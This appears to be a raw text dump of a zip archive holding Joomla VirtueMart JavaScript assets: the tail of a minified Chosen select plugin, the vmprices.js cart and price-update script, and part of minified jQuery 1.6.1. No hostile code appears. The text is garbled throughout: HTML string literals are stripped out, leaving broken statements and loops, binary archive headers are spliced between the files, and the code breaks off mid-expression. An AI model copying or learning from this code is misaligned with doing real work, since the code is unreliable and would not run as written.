i=this;this.container.mousedown(function(j){return i.container_mousedown(j)});this.container.mouseup(function(j){return i.container_mouseup(j)});this.container.mouseenter(function(j){return i.mouse_enter(j)});this.container.mouseleave(function(j){return i.mouse_leave(j)});this.search_results.mouseup(function(j){return i.search_results_mouseup(j)});this.search_results.mouseover(function(j){return i.search_results_mouseover(j)});this.search_results.mouseout(function(j){return i.search_results_mouseout(j)});this.form_field_jq.bind("liszt:updated",function(j){return i.results_update_field(j)});this.search_field.blur(function(j){return i.input_blur(j)});this.search_field.keyup(function(j){return i.keyup_checker(j)});this.search_field.keydown(function(j){return i.keydown_checker(j)});if(this.is_multiple){this.search_choices.click(function(j){return i.choices_click(j)});return this.search_field.focus(function(j){return i.input_focus(j)})}else{return this.container.click(function(j){return j.preventDefault()})}};h.prototype.search_field_disabled=function(){this.is_disabled=this.form_field_jq[0].disabled;if(this.is_disabled){this.container.addClass("chzn-disabled");this.search_field[0].disabled=true;if(!this.is_multiple){this.selected_item.unbind("focus",this.activate_action)}return this.close_field()}else{this.container.removeClass("chzn-disabled");this.search_field[0].disabled=false;if(!this.is_multiple){return this.selected_item.bind("focus",this.activate_action)}}};h.prototype.container_mousedown=function(i){var j;if(!this.is_disabled){j=i!=null?(e(i.target)).hasClass("search-choice-close"):false;if(i&&i.type==="mousedown"){i.stopPropagation()}if(!this.pending_destroy_click&&!j){if(!this.active_field){if(this.is_multiple){this.search_field.val("")}e(document).click(this.click_test_action);this.results_show()}else{if(!this.is_multiple&&i&&((e(i.target)[0]===this.selected_item[0])||e(i.target).parents("a.chzn-single").length)){i.preventDefault();this.results_toggle()}}return this.activate_field()}else{return this.pending_destroy_click=false}}};h.prototype.container_mouseup=function(i){if(i.target.nodeName==="ABBR"){return this.results_reset(i)}};h.prototype.blur_test=function(i){if(!this.active_field&&this.container.hasClass("chzn-container-active")){return this.close_field()}};h.prototype.close_field=function(){e(document).unbind("click",this.click_test_action);if(!this.is_multiple){this.selected_item.attr("tabindex",this.search_field.attr("tabindex"));this.search_field.attr("tabindex",-1)}this.active_field=false;this.results_hide();this.container.removeClass("chzn-container-active");this.winnow_results_clear();this.clear_backstroke();this.show_search_field_default();return this.search_field_scale()};h.prototype.activate_field=function(){if(!this.is_multiple&&!this.active_field){this.search_field.attr("tabindex",this.selected_item.attr("tabindex"));this.selected_item.attr("tabindex",-1)}this.container.addClass("chzn-container-active");this.active_field=true;this.search_field.val(this.search_field.val());return this.search_field.focus()};h.prototype.test_active_click=function(i){if(e(i.target).parents("#"+this.container_id).length){return this.active_field=true}else{return this.close_field()}};h.prototype.results_build=function(){var j,m,l,i,k;this.parsing=true;this.results_data=a.SelectParser.select_to_array(this.form_field);if(this.is_multiple&&this.choices>0){this.search_choices.find("li.search-choice").remove();this.choices=0}else{if(!this.is_multiple){this.selected_item.find("span").text(this.default_text);if(this.form_field.options.length<=this.disable_search_threshold){this.container.addClass("chzn-container-single-nosearch")}else{this.container.removeClass("chzn-container-single-nosearch")}}}j="";k=this.results_data;for(l=0,i=k.length;l'+e("
              ").text(i.label).html()+""}else{return""}};h.prototype.result_do_highlight=function(j){var n,m,k,l,i;if(j.length){this.result_clear_highlight();this.result_highlight=j;this.result_highlight.addClass("highlighted");k=parseInt(this.search_results.css("maxHeight"),10);i=this.search_results.scrollTop();l=k+i;m=this.result_highlight.position().top+this.search_results.scrollTop();n=m+this.result_highlight.outerHeight();if(n>=l){return this.search_results.scrollTop((n-k)>0?n-k:0)}else{if(m",{"class":"chzn-select-all"}).html(this.Select_all_text_default);this.dropdown.append(i);this.select_all_link=this.dropdown.find(".chzn-select-all").first();return this.select_all_link.click(function(k){return j.select_all_options(k)})};h.prototype.select_all_options=function(j){var l,k,m,i;j.preventDefault();k=this.form_field_jq.find("option");for(m=0,i=k.length;m'+k.html+'');j=e("#"+i).find("a").first();return j.click(function(m){return l.choice_destroy_link_click(m)})};h.prototype.choice_destroy_link_click=function(i){i.preventDefault();if(!this.is_disabled){this.pending_destroy_click=true;return this.choice_destroy(e(i.target))}else{return i.stopPropagation}};h.prototype.choice_destroy=function(i){this.choices-=1;this.show_search_field_default();if(this.is_multiple&&this.choices>0&&this.search_field.val().length<1){this.results_hide()}this.result_deselect(i.attr("rel"));return i.parents("li").first().remove()};h.prototype.results_reset=function(i){this.form_field.options[0].selected=true;this.selected_item.find("span").text(this.default_text);this.show_search_field_default();e(i.target).remove();this.form_field_jq.trigger("change");if(this.active_field){return this.results_hide()}};h.prototype.result_select=function(j){var m,l,k,i;if(this.result_highlight){m=this.result_highlight;l=m.attr("id");this.result_clear_highlight();if(this.is_multiple){this.result_deactivate(m)}else{this.search_results.find(".result-selected").removeClass("result-selected");this.result_single_selected=m}m.addClass("result-selected");i=l.substr(l.lastIndexOf("_")+1);k=this.results_data[i];k.selected=true;this.form_field.options[k.options_index].selected=true;if(this.is_multiple){this.choice_build(k)}else{this.selected_item.find("span").first().text(k.text);if(this.allow_single_deselect){this.single_deselect_control_build()}}if(!(j.metaKey&&this.is_multiple)){this.results_hide()}this.search_field.val("");this.form_field_jq.trigger("change");return this.search_field_scale()}};h.prototype.result_activate=function(i){return i.addClass("active-result")};h.prototype.result_deactivate=function(i){return i.removeClass("active-result")};h.prototype.result_deselect=function(k){var i,j;j=this.results_data[k];j.selected=false;this.form_field.options[j.options_index].selected=false;i=e("#"+this.container_id+"_o_"+k);i.removeClass("result-selected").addClass("active-result").show();this.result_clear_highlight();this.winnow_results();this.form_field_jq.trigger("change");return this.search_field_scale()};h.prototype.single_deselect_control_build=function(){if(this.allow_single_deselect&&this.selected_item.find("abbr").length<1){return this.selected_item.find("span").first().after('')}};h.prototype.winnow_results=function(){var x,q,k,n,u,y,s,p,w,r,v,j,m,l,t,i,o;this.no_results_clear();p=0;w=this.search_field.val()===this.default_text?"":e("
              ").text(e.trim(this.search_field.val())).html();u=new RegExp("^"+w.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),"i");j=new RegExp(w.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&"),"i");o=this.results_data;for(m=0,t=o.length;m=0||q.html.indexOf("[")===0){n=q.html.replace(/\[|\]/g,"").split(" ");if(n.length){for(l=0,i=n.length;l"+q.html.substr(r+w.length);v=v.substr(0,r)+""+v.substr(r)}else{v=q.html}y.html(v);this.result_activate(y);if(q.group_array_index!=null){e("#"+this.results_data[q.group_array_index].dom_id).css("display","list-item")}}else{if(this.result_highlight&&s===this.result_highlight.attr("id")){this.result_clear_highlight()}this.result_deactivate(y)}}}}}if(p<1&&w.length){return this.no_results(w)}else{return this.winnow_results_set_highlight()}};h.prototype.winnow_results_clear=function(){var i,l,m,k,j;this.search_field.val("");l=this.search_results.find("li");j=[];for(m=0,k=l.length;m'+this.results_none_found+' ""');j.find("span").first().html(i);return this.search_results.append(j)};h.prototype.no_results_clear=function(){return this.search_results.find(".no-results").remove()};h.prototype.keydown_arrow=function(){var j,i;if(!this.result_highlight){j=this.search_results.find("li.active-result").first();if(j){this.result_do_highlight(e(j))}}else{if(this.results_showing){i=this.result_highlight.nextAll("li.active-result").first();if(i){this.result_do_highlight(i)}}}if(!this.results_showing){return this.results_show()}};h.prototype.keyup_arrow=function(){var i;if(!this.results_showing&&!this.is_multiple){return this.results_show()}else{if(this.result_highlight){i=this.result_highlight.prevAll("li.active-result");if(i.length){return this.result_do_highlight(i.first())}else{if(this.choices>0){this.results_hide()}return this.result_clear_highlight()}}}};h.prototype.keydown_backstroke=function(){if(this.pending_backstroke){this.choice_destroy(this.pending_backstroke.find("a").first());return this.clear_backstroke()}else{this.pending_backstroke=this.search_container.siblings("li.search-choice").last();return this.pending_backstroke.addClass("search-choice-focus")}};h.prototype.clear_backstroke=function(){if(this.pending_backstroke){this.pending_backstroke.removeClass("search-choice-focus")}return this.pending_backstroke=null};h.prototype.keydown_checker=function(i){var k,j;k=(j=i.which)!=null?j:i.keyCode;this.search_field_scale();if(k!==8&&this.pending_backstroke){this.clear_backstroke()}switch(k){case 8:this.backstroke_length=this.search_field.val().length;break;case 9:if(this.results_showing&&!this.is_multiple){this.result_select(i)}this.mouse_on_container=false;break;case 13:i.preventDefault();break;case 38:i.preventDefault();this.keyup_arrow();break;case 40:this.keydown_arrow();break}};h.prototype.search_field_scale=function(){var q,i,l,j,o,p,n,k,m;if(this.is_multiple){l=0;n=0;o="position:absolute; left: -1000px; top: -1000px; display:none;";p=["font-size","font-style","font-weight","font-family","line-height","text-transform","letter-spacing"];for(k=0,m=p.length;k",{style:o});i.text(this.search_field.val());e("body").append(i);n=i.width()+25;i.remove();if(n>this.f_width-10){n=this.f_width-10}this.search_field.css({width:n+"px"});q=this.container.height();return this.dropdown.css({top:q+"px"})}};h.prototype.generate_random_id=function(){var i;i="sel"+this.generate_random_char()+this.generate_random_char()+this.generate_random_char();while(e("#"+i).length>0){i+=this.generate_random_char()}return i};return h})(AbstractChosen);d=function(g){var h;return h=g.outerWidth()-g.width()};a.get_side_border_padding=d}).call(this);PKGy>\_::$com_virtuemart/assets/js/vmprices.jsnuW+Aif(typeof Virtuemart === "undefined") { var Virtuemart = { setproducttype : function (form, id) { form.view = null; var $ = jQuery, datas = form.serialize(); var prices = form.parent(".productdetails").find(".product-price"); if (0 == prices.length) { prices = $("#productPrice" + id); } datas = datas.replace("&view=cart", ""); prices.fadeTo("fast", 0.75); $.getJSON(window.vmSiteurl + 'index.php?option=com_virtuemart&nosef=1&view=productdetails&task=recalculate&virtuemart_product_id='+id+'&format=json' + window.vmLang, encodeURIComponent(datas), function (datas, textStatus) { prices.fadeTo("fast", 1); // refresh price for (var key in datas) { var value = datas[key]; if (value!=0) prices.find("span.Price"+key).show().html(value); else prices.find(".Price"+key).html(0).hide(); } }); return false; // prevent reload }, productUpdate : function(mod) { var $ = jQuery ; $.ajaxSetup({ cache: false }) $.getJSON(window.vmSiteurl+"index.php?option=com_virtuemart&nosef=1&view=cart&task=viewJS&format=json"+window.vmLang, function(datas, textStatus) { if (datas.totalProduct >0) { mod.find(".vm_cart_products").html(""); $.each(datas.products, function(key, val) { $("#hiddencontainer .container").clone().appendTo(".vmCartModule .vm_cart_products"); $.each(val, function(key, val) { if ($("#hiddencontainer .container ."+key)) mod.find(".vm_cart_products ."+key+":last").html(val) ; }); }); mod.find(".total").html(datas.billTotal); mod.find(".show_cart").html(datas.cart_show); } mod.find(".total_products").html(datas.totalProductTxt); } ); }, sendtocart : function (form){ if (Virtuemart.addtocart_popup ==1) { Virtuemart.cartEffect(form) ; } else { form.append(''); form.submit(); } }, cartEffect : function(form) { var $ = jQuery ; $.ajaxSetup({ cache: false }); var datas = form.serialize(); if(usefancy){ $.fancybox.showActivity(); } $.getJSON(vmSiteurl+'index.php?option=com_virtuemart&nosef=1&view=cart&task=addJS&format=json'+vmLang,datas, function(datas, textStatus) { if(datas.stat ==1){ var txt = datas.msg; } else if(datas.stat ==2){ var txt = datas.msg +"

              "+form.find(".pname").val()+"

              "; } else { var txt = "

              "+vmCartError+"

              "+datas.msg; } if(usefancy){ $.fancybox({ "titlePosition" : "inside", "transitionIn" : "fade", "transitionOut" : "fade", "changeFade" : "fast", "type" : "html", "autoCenter" : true, "closeBtn" : false, "closeClick" : false, "content" : txt } ); } else { $.facebox.settings.closeImage = closeImage; $.facebox.settings.loadingImage = loadingImage; //$.facebox.settings.faceboxHtml = faceboxHtml; $.facebox({ text: txt }, 'my-groovy-style'); } if ($(".vmCartModule")[0]) { Virtuemart.productUpdate($(".vmCartModule")); } }); $.ajaxSetup({ cache: true }); }, product : function(carts) { carts.each(function(){ var cart = jQuery(this), step=cart.find('input[name="quantity"]'), addtocart = cart.find('input.addtocart-button'), plus = cart.find('.quantity-plus'), minus = cart.find('.quantity-minus'), select = cart.find('select:not(.no-vm-bind)'), radio = cart.find('input:radio:not(.no-vm-bind)'), virtuemart_product_id = cart.find('input[name="virtuemart_product_id[]"]').val(), quantity = cart.find('.quantity-input'); var Ste = parseInt(step.val()); //Fallback for layouts lower than 2.0.18b if(isNaN(Ste)){ Ste = 1; } addtocart.click(function(e) { Virtuemart.sendtocart(cart); return false; }); plus.click(function() { var Qtt = parseInt(quantity.val()); if (!isNaN(Qtt)) { quantity.val(Qtt + Ste); Virtuemart.setproducttype(cart,virtuemart_product_id); } }); minus.click(function() { var Qtt = parseInt(quantity.val()); if (!isNaN(Qtt) && Qtt>Ste) { quantity.val(Qtt - Ste); } else quantity.val(Ste); Virtuemart.setproducttype(cart,virtuemart_product_id); }); select.change(function() { Virtuemart.setproducttype(cart,virtuemart_product_id); }); radio.change(function() { Virtuemart.setproducttype(cart,virtuemart_product_id); }); quantity.keyup(function() { Virtuemart.setproducttype(cart,virtuemart_product_id); }); }); } }; jQuery.noConflict(); jQuery(document).ready(function($) { Virtuemart.product($("form.product")); $("form.js-recalculate").each(function(){ if ($(this).find(".product-fields").length && !$(this).find(".no-vm-bind").length) { var id= $(this).find('input[name="virtuemart_product_id[]"]').val(); Virtuemart.setproducttype($(this),id); } }); }); } PKGy>\-Wdd&com_virtuemart/assets/js/jquery.min.jsnuW+A/*! * jQuery JavaScript Library v1.6.1 * http://jquery.com/ * * Copyright 2011, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2011, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Thu May 12 15:04:36 2011 -0400 */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!cj[a]){var b=f("<"+a+">").appendTo("body"),d=b.css("display");b.remove();if(d==="none"||d===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),c.body.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write("");b=cl.createElement(a),cl.body.appendChild(b),d=f.css(b,"display"),c.body.removeChild(ck)}cj[a]=d}return cj[a]}function cu(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function ct(){cq=b}function cs(){setTimeout(ct,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g=0===c})}function W(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function O(a,b){return(a&&a!=="*"?a+".":"")+b.replace(A,"`").replace(B,"&")}function N(a){var b,c,d,e,g,h,i,j,k,l,m,n,o,p=[],q=[],r=f._data(this,"events");if(!(a.liveFired===this||!r||!r.live||a.target.disabled||a.button&&a.type==="click")){a.namespace&&(n=new RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)")),a.liveFired=this;var s=r.live.slice(0);for(i=0;ic)break;a.currentTarget=e.elem,a.data=e.handleObj.data,a.handleObj=e.handleObj,o=e.handleObj.origHandler.apply(e.elem,arguments);if(o===!1||a.isPropagationStopped()){c=e.level,o===!1&&(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function L(a,c,d){var e=f.extend({},d[0]);e.type=a,e.originalEvent={},e.liveFired=b,f.event.handle.call(c,e),e.isDefaultPrevented()&&d[0].preventDefault()}function F(){return!0}function E(){return!1}function m(a,c,d){var e=c+"defer",g=c+"queue",h=c+"mark",i=f.data(a,e,b,!0);i&&(d==="queue"||!f.data(a,g,b,!0))&&(d==="mark"||!f.data(a,h,b,!0))&&setTimeout(function(){!f.data(a,g,b,!0)&&!f.data(a,h,b,!0)&&(f.removeData(a,e,!0),i.resolve())},0)}function l(a){for(var b in a)if(b!=="toJSON")return!1;return!0}function k(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(j,"$1-$2").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNaN(d)?i.test(d)?f.parseJSON(d):d:parseFloat(d)}catch(g){}f.data(a,c,d)}else d=b}return d}var c=a.document,d=a.navigator,e=a.location,f=function(){function H(){if(!e.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(H,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/\d/,n=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,o=/^[\],:{}\s]*$/,p=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,q=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,r=/(?:^|:|,)(?:\s*\[)+/g,s=/(webkit)[ \/]([\w.]+)/,t=/(opera)(?:.*version)?[ \/]([\w.]+)/,u=/(msie) ([\w.]+)/,v=/(mozilla)(?:.*? rv:([\w.]+))?/,w=d.userAgent,x,y,z,A=Object.prototype.toString,B=Object.prototype.hasOwnProperty,C=Array.prototype.push,D=Array.prototype.slice,E=String.prototype.trim,F=Array.prototype.indexOf,G={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=n.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.6.1",length:0,size:function(){return this.length},toArray:function(){return D.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?C.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),y.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(D.apply(this,arguments),"slice",D.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:C,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;y.resolveWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").unbind("ready")}},bindReady:function(){if(!y){y=e._Deferred();if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",z,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",z),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&H()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNaN:function(a){return a==null||!m.test(a)||isNaN(a)},type:function(a){return a==null?String(a):G[A.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;if(a.constructor&&!B.call(a,"constructor")&&!B.call(a.constructor.prototype,"isPrototypeOf"))return!1;var c;for(c in a);return c===b||B.call(a,c)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(o.test(b.replace(p,"@").replace(q,"]").replace(r,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(b,c,d){a.DOMParser?(d=new DOMParser,c=d.parseFromString(b,"text/xml")):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b)),d=c.documentElement,(!d||!d.nodeName||d.nodeName==="parsererror")&&e.error("Invalid XML: "+b);return c},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?h.call(arguments,0):c,--e||g.resolveWith(g,h.call(b,0))}}var b=arguments,c=0,d=b.length,e=d,g=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred();if(d>1){for(;c
              a",d=a.getElementsByTagName("*"),e=a.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};f=c.createElement("select"),g=f.appendChild(c.createElement("option")),h=a.getElementsByTagName("input")[0],j={leadingWhitespace:a.firstChild.nodeType===3,tbody:!a.getElementsByTagName("tbody").length,htmlSerialize:!!a.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55$/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:h.value==="on",optSelected:g.selected,getSetAttribute:a.className!=="t",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},h.checked=!0,j.noCloneChecked=h.cloneNode(!0).checked,f.disabled=!0,j.optDisabled=!g.disabled;try{delete a.test}catch(s){j.deleteExpando=!1}!a.addEventListener&&a.attachEvent&&a.fireEvent&&(a.attachEvent("onclick",function b(){j.noCloneEvent=!1,a.detachEvent("onclick",b)}),a.cloneNode(!0).fireEvent("onclick")),h=c.createElement("input"),h.value="t",h.setAttribute("type","radio"),j.radioValue=h.value==="t",h.setAttribute("checked","checked"),a.appendChild(h),k=c.createDocumentFragment(),k.appendChild(a.firstChild),j.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,a.innerHTML="",a.style.width=a.style.paddingLeft="1px",l=c.createElement("body"),m={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"};for(q in m)l.style[q]=m[q];l.appendChild(a),b.insertBefore(l,b.firstChild),j.appendChecked=h.checked,j.boxModel=a.offsetWidth===2,"zoom"in a.style&&(a.style.display="inline",a.style.zoom=1,j.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display="",a.innerHTML="
              ",j.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML="
              t
              ",n=a.getElementsByTagName("td"),r=n[0].offsetHeight===0,n[0].style.display="",n[1].style.display="none",j.reliableHiddenOffsets=r&&n[0].offsetHeight===0,a.innerHTML="",c.defaultView&&c.defaultView.getComputedStyle&&(i=c.createElement("div"),i.style.width="0",i.style.marginRight="0",a.appendChild(i),j.reliableMarginRight=(parseInt((c.defaultView.getComputedStyle(i,null)||{marginRight:0}).marginRight,10)||0)===0),l.innerHTML="",b.removeChild(l);if(a.attachEvent)for(q in{submit:1,change:1,focusin:1})p="on"+q,r=p in a,r||(a.setAttribute(p,"return;"),r=typeof a[p]=="function"),j[q+"Bubbles"]=r;return j}(),f.boxModel=f.support.boxModel;var i=/^(?:\{.*\}|\[.*\])$/,j=/([a-z])([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!l(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g=f.expando,h=typeof c=="string",i,j=a.nodeType,k=j?f.cache:a,l=j?a[f.expando]:a[f.expando]&&f.expando;if((!l||e&&l&&!k[l][g])&&h&&d===b)return;l||(j?a[f.expando]=l=++f.uuid:l=f.expando),k[l]||(k[l]={},j||(k[l].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?k[l][g]=f.extend(k[l][g],c):k[l]=f.extend(k[l],c);i=k[l],e&&(i[g]||(i[g]={}),i=i[g]),d!==b&&(i[f.camelCase(c)]=d);if(c==="events"&&!i[c])return i[g]&&i[g].events;return h?i[f.camelCase(c)]:i}},removeData:function(b,c,d){if(!!f.acceptData(b)){var e=f.expando,g=b.nodeType,h=g?f.cache:b,i=g?b[f.expando]:f.expando;if(!h[i])return;if(c){var j=d?h[i][e]:h[i];if(j){delete j[c];if(!l(j))return}}if(d){delete h[i][e];if(!l(h[i]))return}var k=h[i][e];f.support.deleteExpando||h!=a?delete h[i]:h[i]=null,k?(h[i]={},g||(h[i].toJSON=f.noop),h[i][e]=k):g&&(f.support.deleteExpando?delete b[f.expando]:b.removeAttribute?b.removeAttribute(f.expando):b[f.expando]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d=null;if(typeof a=="undefined"){if(this.length){d=f.data(this[0]);if(this[0].nodeType===1){var e=this[0].attributes,g;for(var h=0,i=e.length;h-1)return!0;return!1},val:function(a){var c,d,e=this[0];if(!arguments.length){if(e){c=f.valHooks[e.nodeName.toLowerCase()]||f.valHooks[e.type];if(c&&"get"in c&&(d=c.get(e,"value"))!==b)return d;return(e.value||"").replace(p,"")}return b}var g=f.isFunction(a);return this.each(function(d){var e=f(this),h;if(this.nodeType===1){g?h=a.call(this,d,e.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c=a.selectedIndex,d=[],e=a.options,g=a.type==="select-one";if(c<0)return null;for(var h=g?c:0,i=g?c+1:e.length;h=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:"tabIndex"},attr:function(a,c,d,e){var g=a.nodeType;if(!a||g===3||g===8||g===2)return b;if(e&&c in f.attrFn)return f(a)[c](d);if(!("getAttribute"in a))return f.prop(a,c,d);var h,i,j=g!==1||!f.isXMLDoc(a);c=j&&f.attrFix[c]||c,i=f.attrHooks[c],i||(!t.test(c)||typeof d!="boolean"&&d!==b&&d.toLowerCase()!==c.toLowerCase()?v&&(f.nodeName(a,"form")||u.test(c))&&(i=v):i=w);if(d!==b){if(d===null){f.removeAttr(a,c);return b}if(i&&"set"in i&&j&&(h=i.set(a,d,c))!==b)return h;a.setAttribute(c,""+d);return d}if(i&&"get"in i&&j)return i.get(a,c);h=a.getAttribute(c);return h===null?b:h},removeAttr:function(a,b){var c;a.nodeType===1&&(b=f.attrFix[b]||b,f.support.getSetAttribute?a.removeAttribute(b):(f.attr(a,b,""),a.removeAttributeNode(a.getAttributeNode(b))),t.test(b)&&(c=f.propFix[b]||b)in a&&(a[c]=!1))},attrHooks:{type:{set:function(a,b){if(q.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},tabIndex:{get:function(a){var c=a.getAttributeNode("tabIndex");return c&&c.specified?parseInt(c.value,10):r.test(a.nodeName)||s.test(a.nodeName)&&a.href?0:b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e=a.nodeType;if(!a||e===3||e===8||e===2)return b;var g,h,i=e!==1||!f.isXMLDoc(a);c=i&&f.propFix[c]||c,h=f.propHooks[c];return d!==b?h&&"set"in h&&(g=h.set(a,d,c))!==b?g:a[c]=d:h&&"get"in h&&(g=h.get(a,c))!==b?g:a[c]},propHooks:{}}),w={get:function(a,c){return a[f.propFix[c]||c]?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=b),a.setAttribute(c,c.toLowerCase()));return c}},f.attrHooks.value={get:function(a,b){if(v&&f.nodeName(a,"button"))return v.get(a,b);return a.value},set:function(a,b,c){if(v&&f.nodeName(a,"button"))return 